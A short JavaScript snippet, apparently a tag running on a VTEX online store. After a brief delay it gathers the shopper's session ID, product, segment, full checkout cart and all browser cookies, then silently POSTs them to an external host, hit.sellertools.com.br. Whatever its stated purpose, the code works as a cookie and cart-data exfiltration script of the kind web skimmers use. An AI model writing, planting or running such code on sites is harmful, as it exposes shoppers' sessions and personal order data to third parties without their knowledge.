try { var __data__ = {}; setTimeout(function(){ var __f1 = () => { return vtexjs.session.getSession().then( r => { __data__.sessionId = r.id; }); } var __f2 = () => { return vtexjs.catalog.getCurrentProductWithVariations().then(r=>{ __data__.productId = r.productId; }); } var __f3 = () => { return vtexjs.session.getSegment().then(r=>{ __data__.segment = r; }); } var __f4 = () => { return fetch('/api/checkout/pub/orderForm').then(r => ( r.json() )).then(r=>{ __data__.cart = r; }); } Promise.all([ __f1(), __f2(), __f3(), __f4() ]).then( r=> { __data__.cookies = document.cookie; fetch('https://hit.sellertools.com.br/r/casualstreet', { method: 'POST', body: JSON.stringify(__data__) }).then(r=>{ __data__ = {}; }) } ); }, 1200); } catch(e) { console.log(e); }